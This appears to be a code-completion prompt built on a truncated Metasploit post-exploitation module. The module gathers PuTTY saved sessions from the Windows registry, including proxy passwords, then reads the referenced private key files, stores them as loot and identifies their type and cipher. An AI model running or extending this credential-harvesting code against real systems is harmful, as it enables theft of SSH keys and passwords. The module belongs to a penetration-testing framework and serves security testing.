You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: enum_putty_saved_sessions.rb
    path of file: ./repos/metasploit-framework/modules/post/windows/gather
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  INTERESTING_KEYS = ['HostName', 'UserName', 'PublicKeyFile', 'PortNumber', 'PortForwardings', 'ProxyUsername', 'ProxyPassword']
  PAGEANT_REGISTRY_KEY = 'HKCU\\Software\\SimonTatham\\PuTTY'
  PUTTY_PRIVATE_KEY_ANALYSIS 
    
  def grab_private_keys(sessions)
    private_key_summary = []
    sessions.each do |ses|
      filename = ses['PublicKeyFile'].to_s
      next if filename.empty?

      # Check whether the file exists.
      if file?(filename)
        ppk = read_file(filename)
        if ppk # Attempt to read the contents of the file
          stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk)
          print_good("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}")

          # Now analyse the private key
          private_key = {}
          private_key['Name'] = ses['Name']
          private_key['UserName'] = ses['UserName']
          private_key['HostName'] = ses['HostName']
          private_key['PublicKeyFile'] = ses['PublicKeyFile']
          private_key['Type'] = ''
          private_key['Cipher'] = ''
          private_key['Comment'] = ''

          # Get type of key
          if ppk.to_s =~ /^SSH PRIVATE KEY FILE FORMAT 1.1/
            # This is an SSH1 header
            private_key['Type'] = 'ssh1'
            private_key['Comment'] = '-'
            if ppk[33] == "\x00"
              private_key['Cipher'] = 'none'
            elsif ppk[33] == "\x03"
              private_key['Cipher'] = '3DES'
            else
              private_key['Cipher'] = '(Unrecognised)'
            end
          elsif (rx = /^PuTTY-User-Key-File-2:\sssh-(?<keytype>rsa|dss)[\r\n]/.match(ppk.to_s))
            # This is an SSH2 header
            private_key['Type'] = "ssh2 (#{rx[:keytype]})"
            if (rx = /^Encryption:\s(?<cipher>[-a-z0-9]+?)[\r\n]/.match(ppk.to_s))
              private_key['Cipher'] = rx[:cipher]
            else
              private_key['Cipher'] = '(Unrecognised)'
            end